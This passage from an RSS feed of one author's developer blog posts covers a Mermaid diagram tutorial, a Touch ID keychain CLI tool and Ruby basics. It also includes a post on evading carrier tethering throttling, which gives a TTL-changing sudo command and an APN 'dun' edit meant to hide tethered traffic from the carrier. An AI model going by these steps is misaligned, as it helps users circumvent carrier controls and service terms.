&lt;li&gt;Jekyll이 생성하는 코드 블록(&lt;code&gt;language-mermaid&lt;/code&gt;)을 찾아 Mermaid가 인식할 수 있는 형태로 변환합니다&lt;/li&gt;
&lt;li&gt;페이지 로드 완료 후 다이어그램을 렌더링합니다&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  사용 방법
&lt;/h2&gt;

&lt;p&gt;마크다운 파일에서 &lt;code&gt;mermaid&lt;/code&gt; 코드 블록을 사용하면 됩니다:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="p"&gt;```&lt;/span&gt;&lt;span class="nl"&gt;
&lt;/span&gt;
mermaid
graph TD
    A[시작] --&amp;gt; B{조건 확인}
    B --&amp;gt;|Yes| C[처리]
    B --&amp;gt;|No| D[종료]
    C --&amp;gt; D


&lt;span class="p"&gt;```&lt;/span&gt;
&lt;span class="p"&gt;```&lt;/span&gt;&lt;span class="nl"&gt;
&lt;/span&gt;
`

**결과:**

```mermaid
graph TD
    A[시작] --&amp;gt; B{조건 확인}
    B --&amp;gt;|Yes| C[처리]
    B --&amp;gt;|No| D[종료]
    C --&amp;gt; D
```

---

## 다이어그램 예제

### Flowchart (플로우차트)

방향 옵션: `TB` (위→아래), `BT` (아래→위), `LR` (왼쪽→오른쪽), `RL` (오른쪽→왼쪽)

```mermaid
graph LR
    A[사용자 요청] --&amp;gt; B[API Gateway]
    B --&amp;gt; C[인증 서버]
    C --&amp;gt; D{인증 성공?}
    D --&amp;gt;|Yes| E[서비스 처리]
    D --&amp;gt;|No| F[401 에러]
    E --&amp;gt; G[응답 반환]
```

**노드 모양:**
- `[텍스트]` - 사각형
- `(텍스트)` - 둥근 모서리
- `{텍스트}` - 마름모 (조건)
- `((텍스트))` - 원
- `[[텍스트]]` - 서브루틴

---

### Sequence Diagram (시퀀스 다이어그램)

```mermaid
sequenceDiagram
    participant U as User
    participant C as Client
    participant S as Server
    participant DB as Database

    U-&amp;gt;&amp;gt;C: 로그인 요청
    C-&amp;gt;&amp;gt;S: POST /api/login
    S-&amp;gt;&amp;gt;DB: 사용자 조회
    DB--&amp;gt;&amp;gt;S: 사용자 정보
    S--&amp;gt;&amp;gt;C: JWT 토큰
    C--&amp;gt;&amp;gt;U: 로그인 성공
```

**화살표 종류:**
- `-&amp;gt;` : 실선
- `--&amp;gt;` : 점선
- `-&amp;gt;&amp;gt;` : 실선 + 화살표
- `--&amp;gt;&amp;gt;` : 점선 + 화살표

---

### Class Diagram (클래스 다이어그램)

```mermaid
classDiagram
    class User {
        +String name
        +String email
        +login()
        +logout()
    }
    class Order {
        +int orderId
        +Date orderDate
        +calculate()
    }
    class Product {
        +String name
        +float price
    }

    User "1" --&amp;gt; "*" Order : places
    Order "*" --&amp;gt; "*" Product : contains
```

---

### State Diagram (상태 다이어그램)

```mermaid
stateDiagram-v2
    [*] --&amp;gt; Idle
    Idle --&amp;gt; Processing : 요청 수신
    Processing --&amp;gt; Success : 처리 완료
    Processing --&amp;gt; Error : 처리 실패
    Success --&amp;gt; [*]
    Error --&amp;gt; Idle : 재시도
```

---

### ERD (Entity Relationship Diagram)

```mermaid
erDiagram
    USER ||--o{ ORDER : places
    ORDER ||--|{ ORDER_ITEM : contains
    PRODUCT ||--o{ ORDER_ITEM : "ordered in"

    USER {
        int id PK
        string name
        string email
    }
    ORDER {
        int id PK
        int user_id FK
        date created_at
    }
    PRODUCT {
        int id PK
        string name
        decimal price
    }
```

---

### Gantt Chart (간트 차트)

```mermaid
gantt
    title 프로젝트 일정
    dateFormat  YYYY-MM-DD
    section 기획
    요구사항 분석    :a1, 2026-01-01, 7d
    설계 문서 작성   :a2, after a1, 5d
    section 개발
    백엔드 개발      :b1, after a2, 14d
    프론트엔드 개발  :b2, after a2, 14d
    section 테스트
    통합 테스트      :c1, after b1, 7d
```

---

### Pie Chart (파이 차트)

```mermaid
pie title 기술 스택 비율
    "JavaScript" : 40
    "Python" : 30
    "Java" : 20
    "기타" : 10
```

---

## 테마 설정

Mermaid는 다양한 테마를 지원합니다. `mermaid.initialize()`에서 설정할 수 있습니다:

```javascript
mermaid.initialize({
  startOnLoad: false,
  theme: 'dark'  // default, dark, forest, neutral
});
```

---

## 마무리

Mermaid를 사용하면 복잡한 다이어그램도 텍스트로 쉽게 작성할 수 있습니다. Git으로 버전 관리가 되고, 수정도 간편합니다. 기술 문서나 블로그 포스트에 적극 활용해보세요.

**참고 자료:**
- [Mermaid 공식 문서](https://mermaid.js.org/intro/)
- [Mermaid Live Editor](https://mermaid.live/) - 실시간 미리보기

---
*Originally published at [https://dss99911.github.io](https://dss99911.github.io/frontend/common/2026/01/20/mermaid-diagram-jekyll.html)*
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

</description>
      <category>frontend</category>
      <category>common</category>
      <category>jekyll</category>
      <category>mermaid</category>
    </item>
    <item>
      <title>Fix Slow MacBook Internet on Android Hotspot (Bypass Carrier Throttling: TTL &amp; APN Settings)</title>
      <dc:creator>dss99911</dc:creator>
      <pubDate>Fri, 16 Jan 2026 07:02:36 +0000</pubDate>
      <link>https://forem.com/dss99911/andeuroideu-hasseupas-yeongyeol-si-maegbug-inteones-meogtongneurim-hyeonsang-wanbyeog-haegyeolbeob-tongsinsa-sogdojehan-uhoe-ttl-dun-seoljeong-1il5</link>
      <guid>https://forem.com/dss99911/andeuroideu-hasseupas-yeongyeol-si-maegbug-inteones-meogtongneurim-hyeonsang-wanbyeog-haegyeolbeob-tongsinsa-sogdojehan-uhoe-ttl-dun-seoljeong-1il5</guid>
      <description>&lt;h1&gt;
  
  
  Fix Slow MacBook Internet on Android Hotspot
&lt;/h1&gt;

&lt;p&gt;Have you ever experienced your MacBook barely loading Google while your Android phone's internet works perfectly fine on the same hotspot?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It's not a device issue.&lt;/strong&gt; There's a 99% chance it's due to your carrier's 'tethering data speed throttling (QoS)'. Even with unlimited data plans, carriers often throttle tethering speeds to 200-400Kbps after you've used your tethering data allowance - making your MacBook practically unusable.&lt;/p&gt;

&lt;p&gt;Today, I'll share 2 tips to bypass carrier detection and use hotspot at full phone speed by tweaking some settings on your Mac and Android. (It's safe, don't worry!)&lt;/p&gt;

&lt;h2&gt;
  
  
  Method 1: Change TTL Value on Mac (Most Effective)
&lt;/h2&gt;

&lt;p&gt;Carriers detect whether data is coming from your phone directly or from a connected laptop by checking the TTL (Time To Live) value. Let's disguise your Mac's traffic to look like phone traffic.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Open Terminal
&lt;/h3&gt;

&lt;p&gt;Press &lt;code&gt;Command + Space&lt;/code&gt; to open Spotlight and search for &lt;code&gt;Terminal&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Check Current TTL Value (Optional)
&lt;/h3&gt;

&lt;p&gt;Run this command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sysctl net.inet.ip.ttl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the result is &lt;code&gt;64&lt;/code&gt;, your carrier can easily detect tethering.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Change TTL Value (Key Step)
&lt;/h3&gt;

&lt;p&gt;Copy and run this command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;sysctl &lt;span class="nt"&gt;-w&lt;/span&gt; net.inet.ip.ttl&lt;span class="o"&gt;=&lt;/span&gt;65
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When prompted for &lt;code&gt;Password:&lt;/code&gt;, enter your Mac login password (nothing will appear on screen while typing - this is normal).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How it works:&lt;/strong&gt; Mac sends packets with TTL 65 → Phone decreases it by 1 → Carrier receives TTL &lt;strong&gt;64 (normal phone data)&lt;/strong&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This setting resets after reboot. Run the command again whenever you use hotspot or notice slow speeds.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Method 2: Add 'dun' to Android APN Settings
&lt;/h2&gt;

&lt;p&gt;This method routes your data through the regular 'fast lane' instead of the carrier's designated 'slow tethering lane'.&lt;/p&gt;

&lt;h3&gt;
  
  
  How to Set Up
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Go to &lt;strong&gt;Settings &amp;gt; Connections &amp;gt; Mobile Networks &amp;gt; Access Point Names (APN)&lt;/strong&gt; on your Android phone.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Tap on your current carrier's APN (the one with the blue indicator).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Scroll down to find &lt;strong&gt;APN Type&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add &lt;code&gt;,dun&lt;/code&gt; to the end of existing text (no spaces, just comma).&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Example: &lt;code&gt;default,supl&lt;/code&gt; → &lt;code&gt;default,supl,dun&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Tap the three dots in the upper right corner and select &lt;strong&gt;Save&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; If your data stops working completely after saving, your carrier has blocked this method. Simply remove the &lt;code&gt;dun&lt;/code&gt; you added.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  After Applying Settings (Important!)
&lt;/h2&gt;

&lt;p&gt;Refresh the network connection on each device for changes to take effect:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Android:&lt;/strong&gt; Turn on Airplane Mode, wait 10 seconds, then turn it off. (Rebooting also works)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mac:&lt;/strong&gt; Don't reboot (TTL will reset). Just turn Wi-Fi off and on, then reconnect to the hotspot.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now try a Google search. You should notice the frustrating loading times are gone!&lt;/p&gt;

&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;th&gt;Command/Setting&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Mac TTL Change&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sudo sysctl -w net.inet.ip.ttl=65&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Highly recommended&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Android APN&lt;/td&gt;
&lt;td&gt;Add &lt;code&gt;,dun&lt;/code&gt; to APN Type&lt;/td&gt;
&lt;td&gt;May be blocked by some carriers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;After Setup&lt;/td&gt;
&lt;td&gt;Phone: Airplane Mode ON/OFF, Mac: Reconnect Wi-Fi&lt;/td&gt;
&lt;td&gt;Don't reboot Mac&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Give this a try if you're traveling abroad or if your tethering suddenly got slow after changing data plans!&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://dss99911.github.io/infra/devops/2026/01/16/android-hotspot-tethering-speed-fix.html" rel="noopener noreferrer"&gt;https://dss99911.github.io&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>networking</category>
      <category>mac</category>
      <category>android</category>
      <category>tips</category>
    </item>
    <item>
      <title>Secure and Convenient Keychain Access with Touch ID</title>
      <dc:creator>dss99911</dc:creator>
      <pubDate>Tue, 06 Jan 2026 13:01:58 +0000</pubDate>
      <link>https://forem.com/dss99911/secure-and-convenient-keychain-access-with-touch-id-3ffk</link>
      <guid>https://forem.com/dss99911/secure-and-convenient-keychain-access-with-touch-id-3ffk</guid>
      <description>&lt;h1&gt;
  
  
  Secure and Convenient Keychain Access with Touch ID
&lt;/h1&gt;

&lt;h2&gt;
  
  
  The Problem
&lt;/h2&gt;

&lt;p&gt;When accessing passwords stored in macOS Keychain via terminal, you face a security vs convenience dilemma:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;security find-generic-password &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="s2"&gt;"user@example.com"&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"myapp"&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When you run this command, macOS shows a dialog:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"security" wants to use your confidential information stored in "myapp" in your keychain.&lt;/p&gt;

&lt;p&gt;[Deny] [Allow] [Always Allow]&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Option 1: Click "Allow" every time
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Requires typing your Mac password each time&lt;/li&gt;
&lt;li&gt;Secure but inconvenient&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Option 2: Click "Always Allow"
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Any script can now access this password without authentication&lt;/li&gt;
&lt;li&gt;Convenient but insecure&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The Solution: Touch ID Authentication
&lt;/h2&gt;

&lt;p&gt;I created &lt;a href="https://github.com/dss99911/keychain-fingerprint" rel="noopener noreferrer"&gt;keychain-fingerprint&lt;/a&gt;, a CLI tool that uses Touch ID for Keychain access.&lt;/p&gt;

&lt;h3&gt;
  
  
  Benefits
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Aspect&lt;/th&gt;
&lt;th&gt;Traditional (&lt;code&gt;security&lt;/code&gt;)&lt;/th&gt;
&lt;th&gt;keychain-fingerprint&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Authentication&lt;/td&gt;
&lt;td&gt;Mac password (slow)&lt;/td&gt;
&lt;td&gt;Touch ID (instant)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;"Always Allow" = insecure&lt;/td&gt;
&lt;td&gt;Always requires Touch ID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Convenience&lt;/td&gt;
&lt;td&gt;Type password or allow all&lt;/td&gt;
&lt;td&gt;One touch&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  How It Works
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────────┐
│         keychain-fingerprint            │
├─────────────────────────────────────────┤
│  1. Touch ID authentication             │
│  2. Access Keychain (auto-authorized)   │
└─────────────────────────────────────────┘

┌─────────────────────────────────────────┐
│         Other apps / terminal           │
├─────────────────────────────────────────┤
│  Keychain access → Mac password prompt  │
└─────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When you store a password with this tool:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;This app&lt;/strong&gt;: Can access with Touch ID (app is auto-authorized for items it created)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Other apps&lt;/strong&gt;: Still require Mac password to access&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Installation
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Clone&lt;/span&gt;
git clone https://github.com/dss99911/keychain-fingerprint.git
&lt;span class="nb"&gt;cd &lt;/span&gt;keychain-fingerprint

&lt;span class="c"&gt;# Compile&lt;/span&gt;
swiftc &lt;span class="nt"&gt;-o&lt;/span&gt; keychain-fingerprint main.swift &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-framework&lt;/span&gt; LocalAuthentication &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-framework&lt;/span&gt; Security

&lt;span class="c"&gt;# Install (optional)&lt;/span&gt;
&lt;span class="nb"&gt;sudo cp &lt;/span&gt;keychain-fingerprint /usr/local/bin/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Usage
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Save a password
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;keychain-fingerprint &lt;span class="nb"&gt;set &lt;/span&gt;myapp user@example.com
&lt;span class="c"&gt;# Touch ID prompt → Enter password (hidden)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Retrieve a password
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Direct output&lt;/span&gt;
keychain-fingerprint get myapp user@example.com

&lt;span class="c"&gt;# Recommended: Capture in variable&lt;/span&gt;
&lt;span class="nv"&gt;PASSWORD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;keychain-fingerprint get myapp user@example.com&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Password retrieved"&lt;/span&gt;
&lt;span class="nb"&gt;unset &lt;/span&gt;PASSWORD  &lt;span class="c"&gt;# Clear when done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  List saved items
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;keychain-fingerprint list
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Delete a password
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;keychain-fingerprint delete myapp user@example.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Security Features
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;All commands require Touch ID authentication&lt;/li&gt;
&lt;li&gt;Passwords stored encrypted in macOS Keychain&lt;/li&gt;
&lt;li&gt;Password input is hidden (no echo)&lt;/li&gt;
&lt;li&gt;Device-only access (&lt;code&gt;kSecAttrAccessibleWhenUnlockedThisDeviceOnly&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Other apps still require Mac password&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Requirements
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;macOS with Touch ID (MacBook Pro/Air with Touch ID, or Apple Silicon Mac with Magic Keyboard with Touch ID)&lt;/li&gt;
&lt;li&gt;Xcode Command Line Tools&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Source Code
&lt;/h2&gt;

&lt;p&gt;Full source code available on GitHub: &lt;a href="https://github.com/dss99911/keychain-fingerprint" rel="noopener noreferrer"&gt;dss99911/keychain-fingerprint&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Related
&lt;/h2&gt;

&lt;p&gt;For an alternative approach using root permissions instead of Touch ID, see: &lt;a href="https://dss99911.github.io/tools/mac/2025/01/08/access-keychain-by-specific-service.html" rel="noopener noreferrer"&gt;How to always allow Mac keychain password only by specific app&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://dss99911.github.io/tools/mac/2026/01/06/keychain-fingerprint.html" rel="noopener noreferrer"&gt;https://dss99911.github.io&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>tools</category>
      <category>mac</category>
      <category>macos</category>
      <category>keychain</category>
    </item>
    <item>
      <title>Ruby 기초 - 문법과 기본 개념</title>
      <dc:creator>dss99911</dc:creator>
      <pubDate>Wed, 31 Dec 2025 04:42:33 +0000</pubDate>
      <link>https://forem.com/dss99911/ruby-gico-munbeobgwa-gibon-gaenyeom-2pl5</link>
      <guid>https://forem.com/dss99911/ruby-gico-munbeobgwa-gibon-gaenyeom-2pl5</guid>
      <description>&lt;p&gt;Ruby 프로그래밍 언어의 기본 문법과 개념을 알아봅니다.&lt;/p&gt;

&lt;h2&gt;
  
  
  참고 자료
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="http://rubylearning.com/satishtalim/first_ruby_program.html" rel="noopener noreferrer"&gt;Ruby Learning&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  기본 정보
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;파일 형식: &lt;code&gt;파일명.rb&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;실행 방법: &lt;code&gt;ruby 파일명.rb&lt;/code&gt; (확장자가 rb가 아니어도 실행 가능)&lt;/li&gt;
&lt;li&gt;인터프리터 언어&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  주석
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="c1"&gt;# 한 줄 주석&lt;/span&gt;

&lt;span class="cm"&gt;=begin
여러 줄 주석
=end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  구분자 (Delimiters)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="c1"&gt;# 줄바꿈&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="p"&gt;\&lt;/span&gt;
  &lt;span class="s1"&gt;'hello'&lt;/span&gt;

&lt;span class="c1"&gt;# 명령 구분 (라인이 바뀌면 생략 가능)&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'hello'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'world'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Bang (!) Methods
&lt;/h2&gt;

&lt;p&gt;호출한 객체에 메서드 결과를 직접 세팅합니다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'aaaA'&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;downcase!&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;  &lt;span class="c1"&gt;# "aaaa"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Symbol
&lt;/h2&gt;

&lt;p&gt;심볼은 값은 없고 구별할 때 사용됩니다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="err"&gt;심볼명&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  변수 선언
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;

&lt;span class="c1"&gt;# 기본값 설정&lt;/span&gt;
&lt;span class="vi"&gt;@variable&lt;/span&gt; &lt;span class="o"&gt;||=&lt;/span&gt; &lt;span class="s2"&gt;"default value"&lt;/span&gt;

&lt;span class="c1"&gt;# 병렬 할당 (parallel assignment)&lt;/span&gt;
&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;z&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kp"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'two'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kp"&gt;false&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  메서드 선언
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="c1"&gt;# 파라미터 없는 경우&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hello&lt;/span&gt;
  &lt;span class="s1"&gt;'Hello'&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="c1"&gt;# 파라미터 있는 경우&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hello1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="s1"&gt;'Hello '&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hello1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'satish'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="c1"&gt;# 괄호 없이 파라미터 사용&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hello2&lt;/span&gt; &lt;span class="n"&gt;name2&lt;/span&gt;
  &lt;span class="s1"&gt;'Hello '&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;name2&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hello2&lt;/span&gt; &lt;span class="s1"&gt;'talim'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# 파라미터 기본값 설정&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;mtd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"Dibya"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;"Shashank"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"Shashank"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;, &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;, &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;."&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
